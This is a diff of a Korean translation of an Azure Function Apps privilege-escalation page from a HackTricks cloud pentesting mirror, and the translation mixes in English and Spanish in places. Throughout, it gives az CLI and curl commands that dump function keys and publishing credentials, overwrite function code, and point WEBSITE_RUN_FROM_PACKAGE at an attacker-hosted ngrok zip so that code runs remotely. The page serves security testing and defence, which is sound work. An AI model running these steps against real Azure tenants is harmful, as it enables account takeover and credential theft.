mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+102
-62
@@ -4,7 +4,7 @@
|
||||
|
||||
## Function Apps
|
||||
|
||||
자세한 정보는 다음 페이지를 확인하세요:
|
||||
다음 페이지에서 자세한 정보를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
@@ -12,26 +12,26 @@
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
함수 데이터를 저장하는 Storage Account 내의 컨테이너를 읽을 수 있는 권한이 있으면 **다양한 컨테이너**(사용자 정의 또는 미리 정의된 이름)를 찾아 **함수에 의해 실행되는 코드**를 포함할 수 있습니다.
|
||||
Function 데이터를 저장하는 Storage Account 내부의 containers를 읽을 수 있는 권한이 있으면, **다른 containers**(사용자 정의 또는 사전 정의된 이름)를 찾아 **function이 실행하는 코드**를 포함하고 있을 수 있습니다.
|
||||
|
||||
함수의 코드가 위치한 곳을 찾으면, 해당 코드에 대한 쓰기 권한이 있다면 함수를 통해 임의의 코드를 실행하고 함수에 연결된 관리 ID의 권한을 상승시킬 수 있습니다.
|
||||
함수 코드가 위치한 곳을 찾고 그 위치에 대한 쓰기 권한이 있다면, 해당 함수를 임의의 코드를 실행하도록 만들어 함수에 연결된 managed identities로 권한 상승할 수 있습니다.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` 및 `WEBSITE_CONTENTSHARE`)
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
|
||||
함수의 코드는 일반적으로 파일 공유 내에 저장됩니다. 충분한 접근 권한이 있으면 코드 파일을 수정하고 **함수가 임의의 코드를 로드하도록** 하여 함수에 연결된 관리 ID의 권한을 상승시킬 수 있습니다.
|
||||
함수의 코드는 보통 file share 내부에 저장됩니다. 충분한 접근 권한이 있으면 코드 파일을 수정하여 **function이 임의의 코드를 로드하도록 만들 수 있으며**, 이를 통해 Function에 연결된 managed identities로 권한 상승이 가능합니다.
|
||||
|
||||
이 배포 방법은 일반적으로 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** 및 **`WEBSITE_CONTENTSHARE`** 설정을 구성하며, 이는 다음에서 가져올 수 있습니다.
|
||||
This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
해당 구성에는 Function이 코드를 액세스하는 데 사용할 수 있는 **Storage Account Key**가 포함됩니다.
|
||||
해당 구성에는 Function이 코드에 접근하는 데 사용할 수 있는 **Storage Account Key**가 포함됩니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> 파일 공유에 연결하고 **스크립트를 수정**할 수 있는 충분한 권한이 있으면 Function에서 임의의 코드를 실행하고 권한을 상승시킬 수 있습니다.
|
||||
> File Share에 연결하고 실행 중인 **스크립트를 수정**할 수 있는 충분한 권한이 있으면 Function에서 임의의 코드를 실행하고 권한을 상승시킬 수 있습니다.
|
||||
|
||||
다음 예제는 macOS를 사용하여 파일 공유에 연결하지만, 파일 공유에 대한 추가 정보를 보려면 다음 페이지도 확인하는 것이 좋습니다:
|
||||
다음 예제는 macOS를 사용해 file share에 연결하는 방법을 보여주지만, file share에 대한 자세한 정보는 다음 페이지도 확인하는 것이 좋습니다:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
함수 앱이 사용하는 Storage Account 컨테이너의 `function-releases` 폴더 안에서 **zip 릴리스**를 찾는 것도 일반적입니다.
|
||||
함수 앱이 사용하는 Storage Account 컨테이너의 `function-releases` 폴더(보통 컨테이너 이름도 `function-releases`) 안에서 **zip releases**를 찾는 경우가 흔합니다.
|
||||
|
||||
일반적으로 이 배포 방법은 다음에서 `WEBSITE_RUN_FROM_PACKAGE` 구성을 설정합니다:
|
||||
보통 이 배포 방식은 `WEBSITE_RUN_FROM_PACKAGE` 설정을 다음 위치에 지정합니다:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
이 구성은 일반적으로 **Storage Account에서 코드를 다운로드할 SAS URL**을 포함합니다.
|
||||
This config will usually contain a **SAS URL to download** the code from the Storage Account.
|
||||
|
||||
> [!CAUTION]
|
||||
> **zip에 코드가 포함된** blob 컨테이너에 연결할 수 있는 충분한 권한이 있으면 Function에서 임의의 코드를 실행하고 권한을 상승시킬 수 있습니다.
|
||||
> 충분한 권한으로 **contains the code in zip**가 들어있는 blob container에 연결할 수 있으면 Function에서 임의의 코드를 실행하고 escalate privileges할 수 있습니다.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
이전 경우와 마찬가지로, 배포가 Github Actions를 통해 이루어지면 Storage Account에서 코드의 zip과 `WEBSITE_RUN_FROM_PACKAGE` 설정의 zip에 대한 SAS URL을 포함하는 **`github-actions-deploy`** 폴더를 찾을 수 있습니다.
|
||||
Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` 및 `WEBSITE_CONTENTSHARE`)
|
||||
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
Function 데이터를 저장하는 Storage Account 내의 컨테이너를 읽을 수 있는 권한이 있으면 **`scm-releases`** 컨테이너를 찾을 수 있습니다. 그 안에서 **Squashfs 파일 시스템 파일 형식**의 최신 릴리스를 찾을 수 있으며, 따라서 함수의 코드를 읽을 수 있습니다:
|
||||
function data를 저장하는 Storage Account 내의 컨테이너들을 읽을 수 있는 권한이 있으면 **`scm-releases`** 컨테이너를 찾을 수 있습니다. 해당 컨테이너에서는 최신 릴리스를 **Squashfs filesystem file format**으로 찾을 수 있으며, 따라서 function의 코드를 읽을 수 있습니다:
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
**마스터 및 함수 키**는 JSON 파일에서 찾을 수 있는 **`<app-name>`** 폴더 내의 **`azure-webjobs-secrets`** 컨테이너에 저장된 스토리지 계정에서 찾을 수도 있습니다.
|
||||
스토리지 계정의 컨테이너 **`azure-webjobs-secrets`** 내의 폴더 **`<app-name>`** 안에 있는 JSON 파일들에서 **master and functions keys**를 찾을 수도 있습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> **zip 확장 파일**로 된 코드를 포함하는 blob 컨테이너에 연결할 수 있는 충분한 권한이 있으면 (실제로는 **`squashfs`**) 함수에서 임의의 코드를 실행하고 권한을 상승시킬 수 있습니다.
|
||||
> blob container에 연결할 수 있는 충분한 권한이 있고, 그 컨테이너가 **contains the code in a zip extension file** (실제로는 **`squashfs`**)를 포함하고 있다면, Function에서 임의의 코드를 실행하고 권한을 상승시킬 수 있습니다.
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -118,11 +118,11 @@ az storage blob upload \
|
||||
```
|
||||
### `Microsoft.Web/sites/host/listkeys/action`
|
||||
|
||||
이 권한은 지정된 함수의 함수 키, 마스터 키 및 시스템 키를 나열할 수 있지만 호스트 키는 나열할 수 없습니다.
|
||||
이 권한은 지정된 함수의 function, master 및 system 키를 나열할 수 있게 하지만 host 키는 나열할 수 없으며, 다음으로 수행할 수 있습니다:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
마스터 키를 사용하면 다음과 같은 URL에서 소스 코드를 가져올 수 있습니다:
|
||||
master key로는 다음과 같은 URL에서 소스 코드를 가져올 수도 있습니다:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
@@ -130,70 +130,91 @@ az rest --method GET \
|
||||
|
||||
# Access
|
||||
curl "<script-href>?code=<master-key>"
|
||||
## Python example:
|
||||
# Python function app example
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
||||
# JavaScript function app example
|
||||
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
|
||||
```
|
||||
함수에서 **실행되고 있는 코드를 변경하기 위해**:
|
||||
그리고 함수에서 **실행되는 코드를 변경하려면**:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## The following continues using the python example
|
||||
## Python function app example
|
||||
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
|
||||
--data-binary @/tmp/function_app.py \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
|
||||
# NodeJS function app example
|
||||
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
|
||||
--data-binary @/tmp/index.js \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/listKeys/action`
|
||||
|
||||
이 권한은 다음과 함께 지정된 함수의 호스트 키를 가져올 수 있습니다:
|
||||
이 권한은 다음을 사용하여 지정된 함수의 기본 키를 가져올 수 있게 합니다:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
획득한 기본 키로 함수를 호출하세요:
|
||||
```bash
|
||||
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
|
||||
```
|
||||
### `Microsoft.Web/sites/host/functionKeys/write`
|
||||
|
||||
이 권한은 지정된 함수의 함수 키를 생성/업데이트할 수 있습니다:
|
||||
이 권한은 지정된 함수의 function key를 생성하거나 업데이트할 수 있도록 허용합니다:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
### `Microsoft.Web/sites/host/masterKey/write`
|
||||
|
||||
이 권한은 지정된 함수에 대한 마스터 키를 생성/업데이트할 수 있습니다:
|
||||
이 권한은 다음을 사용하여 지정된 함수에 대한 마스터 키를 생성/업데이트할 수 있게 합니다:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 이 키를 사용하면 이전에 설명한 대로 소스 코드에 접근하고 수정할 수 있다는 점을 기억하세요!
|
||||
> 이 키를 사용하면 이전에 설명한 것처럼 소스 코드를 액세스하고 수정할 수도 있다는 점을 기억하세요!
|
||||
|
||||
### `Microsoft.Web/sites/host/systemKeys/write`
|
||||
|
||||
이 권한은 지정된 함수에 대해 시스템 함수 키를 생성/업데이트할 수 있게 해줍니다:
|
||||
이 권한은 지정된 함수에 대해 시스템 함수 키를 다음과 같이 생성/업데이트할 수 있게 해줍니다:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
키를 사용하세요:
|
||||
```bash
|
||||
# Ejemplo: Acceso a endpoints de Durable Functions
|
||||
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
|
||||
|
||||
# Ejemplo: Acceso a Event Grid webhooks
|
||||
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`
|
||||
|
||||
이 권한은 함수의 설정을 가져올 수 있게 해줍니다. 이러한 구성 내에서 **`AzureWebJobsStorage`** 또는 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**의 기본 값을 찾을 수 있을 가능성이 있으며, 이는 **함수의 blob 저장소에 FULL 권한으로 접근할 수 있는 계정 키를 포함합니다**.
|
||||
이 권한은 함수의 설정을 가져올 수 있게 합니다. 이러한 구성 내에서 기본값인 **`AzureWebJobsStorage`** 또는 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** 를 찾아볼 수 있으며, 이는 **함수의 blob storage에 FULL 권한으로 접근할 수 있는 계정 키** 를 포함하고 있을 수 있습니다.
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
또한, 이 권한은 **SCM 사용자 이름과 비밀번호**(활성화된 경우)를 다음과 같이 가져올 수 있습니다:
|
||||
또한, 이 권한을 통해 (활성화된 경우) 다음과 같이 **SCM username and password**를 얻을 수 있습니다:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||
|
||||
이 권한은 이전에 본 것처럼 함수의 구성 값을 나열할 수 있을 뿐만 아니라 **이 값을 수정할 수** 있게 해줍니다. 이 설정은 함수 내에서 실행할 코드가 위치한 곳을 나타내기 때문에 유용합니다.
|
||||
이 권한들은 앞서 본 것처럼 함수의 구성 값들을 나열할 수 있게 해주며, **이 값들을 수정할 수 있습니다**. 이 설정들은 함수 내부에서 실행할 코드가 어디에 위치하는지를 나타내므로 유용합니다.
|
||||
|
||||
따라서 **`WEBSITE_RUN_FROM_PACKAGE`** 설정의 값을 웹 애플리케이션 내에서 실행할 새 코드가 포함된 URL zip 파일을 가리키도록 설정할 수 있습니다:
|
||||
따라서 웹 애플리케이션에서 실행할 새 코드를 포함한 zip 파일의 URL을 가리키도록 **`WEBSITE_RUN_FROM_PACKAGE`** 설정 값을 지정할 수 있습니다:
|
||||
|
||||
- 현재 구성을 가져오는 것으로 시작합니다.
|
||||
- 먼저 현재 구성을 가져옵니다
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
- 실행할 함수를 위한 코드를 작성하고 이를 공개적으로 호스팅하세요.
|
||||
- 함수가 실행할 코드를 작성하고 공개적으로 호스팅하세요.
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -203,9 +224,9 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- 함수를 수정하고 이전 매개변수를 유지하며 끝에 **`WEBSITE_RUN_FROM_PACKAGE`**를 추가하여 코드가 포함된 **zip**의 URL을 가리키도록 합니다.
|
||||
- 함수를 수정하되 이전 파라미터는 그대로 유지하고 마지막에 코드가 포함된 **zip**의 URL을 가리키는 설정 **`WEBSITE_RUN_FROM_PACKAGE`** 을 추가하세요.
|
||||
|
||||
다음은 **내 설정의 예로, 값을 귀하의 값으로 변경해야 합니다.** 끝에 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`가 있습니다. 여기서 제가 앱을 호스팅하고 있던 곳입니다.
|
||||
다음은 제 **설정 예시(값은 본인에 맞게 변경해야 합니다)** 입니다. 끝 부분의 값 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` 에 주목하세요. 이 URL이 제가 앱을 호스팅하던 위치입니다.
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
@@ -215,7 +236,7 @@ az rest --method PUT \
|
||||
```
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
||||
|
||||
이 권한을 사용하면 **웹 콘솔을 통해 애플리케이션의 코드를 수정할 수 있습니다** (또는 다음 API 엔드포인트를 통해):
|
||||
이 권한이 있으면 웹 콘솔을 통해(또는 다음 API 엔드포인트를 통해) **애플리케이션의 코드를 수정할 수 있습니다**:
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
@@ -223,10 +244,29 @@ az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
|
||||
# Through the SCM URL (using Azure permissions or SCM creds)
|
||||
az rest --method PUT \
|
||||
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
|
||||
--resource "https://management.azure.com/" \
|
||||
--headers "If-Match=*" \
|
||||
--body 'module.exports = async function (context, req) {
|
||||
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
|
||||
|
||||
const name = (req.query.name || (req.body && req.body.name));
|
||||
const responseMessage = name
|
||||
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
|
||||
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
|
||||
|
||||
context.res = {
|
||||
// status: 200, /* Defaults to 200 */
|
||||
body: responseMessage
|
||||
};
|
||||
}'
|
||||
```
|
||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||
|
||||
이 권한은 기본적으로 **기본 인증 자격 증명**을 포함하는 모든 게시 프로필을 나열할 수 있게 해줍니다:
|
||||
이 권한은 모든 퍼블리싱 프로파일을 나열할 수 있게 해주며, 이는 기본적으로 **basic auth credentials**를 포함합니다:
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
@@ -234,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
또 다른 옵션은 자신의 자격 증명을 설정하고 다음을 사용하여 사용하는 것입니다:
|
||||
또 다른 옵션은 자신의 creds를 설정하고 다음을 사용해 이용하는 것입니다:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
- **REDACTED** 자격 증명
|
||||
- 만약 **REDACTED** 자격 증명
|
||||
|
||||
자격 증명이 **REDACTED**로 표시된 경우, 이는 **SCM 기본 인증 옵션을 활성화해야 하기 때문**이며, 이를 위해 두 번째 권한(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`이 필요합니다.
|
||||
만약 해당 자격 증명이 **REDACTED**로 표시된다면, 이는 당신이 **need to enable the SCM basic authentication option** 때문이며, 이를 위해 두 번째 권한 (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -262,9 +302,9 @@ az rest --method PUT \
|
||||
}
|
||||
}
|
||||
```
|
||||
- **Method SCM**
|
||||
- **방법 SCM**
|
||||
|
||||
그런 다음, **기본 인증 자격 증명을 사용하여 SCM URL**에 접근하여 환경 변수의 값을 가져올 수 있습니다:
|
||||
그런 다음, 이러한 **basic auth credentials to the SCM URL**를 사용해 function app의 SCM URL에 접속하여 env variables의 값을 얻을 수 있습니다:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
@@ -275,15 +315,15 @@ zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_참고로 **SCM 사용자 이름**은 일반적으로 문자 "$" 다음에 앱 이름이 오므로: `$<app-name>`입니다._
|
||||
_참고: **SCM username** 은 보통 문자 "$" 다음에 앱 이름이 붙은 형태입니다. 예: `$<app-name>`._
|
||||
|
||||
웹 페이지에 `https://<app-name>.scm.azurewebsites.net/BasicAuth`에서 접근할 수 있습니다.
|
||||
다음 URL로 웹 페이지에 접근할 수도 있습니다: `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
설정 값에는 함수 앱의 데이터를 저장하는 스토리지 계정의 **AccountKey**가 포함되어 있어 해당 스토리지 계정을 제어할 수 있습니다.
|
||||
설정 값에는 function app의 데이터를 저장하는 storage account의 **AccountKey**가 포함되어 있어 해당 storage account를 제어할 수 있습니다.
|
||||
|
||||
- **방법 FTP**
|
||||
|
||||
다음과 같이 FTP 서버에 연결합니다:
|
||||
다음 정보를 사용하여 FTP 서버에 접속합니다:
|
||||
```bash
|
||||
# macOS install lftp
|
||||
brew install lftp
|
||||
@@ -297,19 +337,19 @@ ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
_참고: **FTP 사용자 이름**은 일반적으로 \<app-name>\\$\<app-name> 형식입니다._
|
||||
_참고로 **FTP username**은 보통 \<app-name>\\$\<app-name> 형식입니다._
|
||||
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
||||
|
||||
이 권한은 VFS를 통해 **앱의 소스 코드를 읽을 수** 있게 합니다:
|
||||
이 권한은 VFS를 통해 앱의 **소스 코드를 읽을 수 있게 합니다:**
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/token/action`
|
||||
|
||||
이 권한을 사용하면 [**관리자 토큰**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01)을 가져올 수 있으며, 이 토큰은 나중에 **마스터 키**를 검색하는 데 사용될 수 있으므로 함수의 코드를 액세스하고 수정할 수 있습니다.
|
||||
이 권한으로는 [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01)를 얻을 수 있으며, 이는 나중에 **master key**를 가져오는 데 사용되어 함수의 코드를 조회하고 수정할 수 있습니다.
|
||||
|
||||
하지만 최근 확인한 결과 토큰이 반환되지 않았으므로 비활성화되었거나 더 이상 작동하지 않을 수 있습니다. 하지만 다음은 이를 수행하는 방법입니다:
|
||||
하지만 최근 확인에서는 token이 반환되지 않아 비활성화되었거나 더 이상 작동하지 않을 수 있습니다. 아래는 이를 수행하는 방법입니다:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method GET \
|
||||
@@ -321,7 +361,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||
|
||||
이 권한은 **비활성화된 함수**를 **활성화**하거나 (또는 비활성화할 수 있습니다).
|
||||
이 권한은 비활성화되어 있을 수 있는 **Functions를 활성화**(또는 비활성화)할 수 있습니다.
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
@@ -329,13 +369,13 @@ az functionapp config appsettings set \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
다음 URL에서 함수가 활성화되었는지 비활성화되었는지 확인할 수 있습니다(괄호 안의 권한 사용):
|
||||
다음 URL에서 함수가 활성화되어 있는지 비활성화되어 있는지 확인할 수도 있습니다(괄호 안의 권한 사용):
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||
|
||||
이 권한을 사용하면 **컨테이너를 수정할 수 있습니다. 함수 앱**이 컨테이너를 실행하도록 구성된 경우. 이를 통해 공격자는 악성 azure 함수 컨테이너 앱을 도커 허브에 업로드하고(예: ) 함수를 실행하도록 만들 수 있습니다.
|
||||
이 권한들로 컨테이너로 구성된 function app이 실행하는 컨테이너를 **수정할 수 있습니다**. 이로 인해 공격자는 예를 들어 docker hub에 악성 azure function container app을 업로드하고 해당 function이 이를 실행하도록 만들 수 있습니다.
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
@@ -343,7 +383,7 @@ az functionapp config container set --name <app-name> \
|
||||
```
|
||||
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
||||
|
||||
이 권한을 사용하면 **함수에 새 사용자 관리 ID를 연결할 수 있습니다**. 함수가 손상된 경우, 이는 모든 사용자 관리 ID로 권한을 상승시킬 수 있게 합니다.
|
||||
이 권한들을 통해 **attach a new user managed identity to a function** 하는 것이 가능합니다. 만약 해당 function이 탈취되면, 이는 어떤 user managed identity로도 권한을 상승시키는 데 이용될 수 있습니다.
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
@@ -352,20 +392,20 @@ az functionapp identity assign \
|
||||
```
|
||||
### 원격 디버깅
|
||||
|
||||
[**문서에서 설명된 대로**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs) 실행 중인 Azure 함수를 디버깅하기 위해 연결하는 것도 가능합니다. 그러나 기본적으로 Azure는 개발자가 취약한 구성을 남기지 않도록 잊어버릴 경우 이 옵션을 2일 후에 끕니다.
|
||||
이는 [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)에서 설명한 것처럼 실행 중인 Azure Function에 연결해 디버그할 수 있습니다. 하지만 기본적으로 개발자가 잊어 취약한 설정을 남기지 않도록 Azure는 이 옵션을 2일 후에 자동으로 비활성화합니다.
|
||||
|
||||
디버깅이 활성화된 함수인지 확인할 수 있습니다:
|
||||
Function에 디버깅이 활성화되어 있는지 확인할 수 있습니다:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
`Microsoft.Web/sites/config/write` 권한이 있으면 함수를 디버깅 모드로 설정할 수도 있습니다(다음 명령은 `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` 및 `Microsoft.Web/sites/Read` 권한도 필요합니다).
|
||||
권한 `Microsoft.Web/sites/config/write`이 있으면 함수를 디버깅 모드로 설정할 수도 있습니다 (다음 명령은 또한 `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` 및 `Microsoft.Web/sites/Read` 권한을 필요로 합니다).
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
### Change Github repo
|
||||
### Github repo 변경
|
||||
|
||||
나는 배포가 발생하는 Github 리포지토리를 변경하기 위해 다음 명령어를 실행했지만, 변경되었음에도 불구하고 **새 코드가 로드되지 않았다** (아마도 Github Action이 코드를 업데이트하기를 기대하고 있기 때문).\
|
||||
게다가, **관리되는 ID 연합 자격 증명이 새 리포지토리를 허용하도록 업데이트되지 않았다**. 그래서 이것이 그리 유용하지 않은 것처럼 보인다.
|
||||
다음 명령들을 실행해 배포가 이루어지는 Github repo를 변경해 보았지만, 변경이 되었더라도 **새 코드가 로드되지 않았습니다** (아마도 Github Action이 코드를 업데이트하기를 기대하고 있기 때문입니다).\
|
||||
게다가 **managed identity federated credential이 새 repo를 허용하도록 업데이트되지 않았습니다**, 그래서 이 방법은 그다지 유용하지 않은 것 같습니다.
|
||||
```bash
|
||||
# Remove current
|
||||
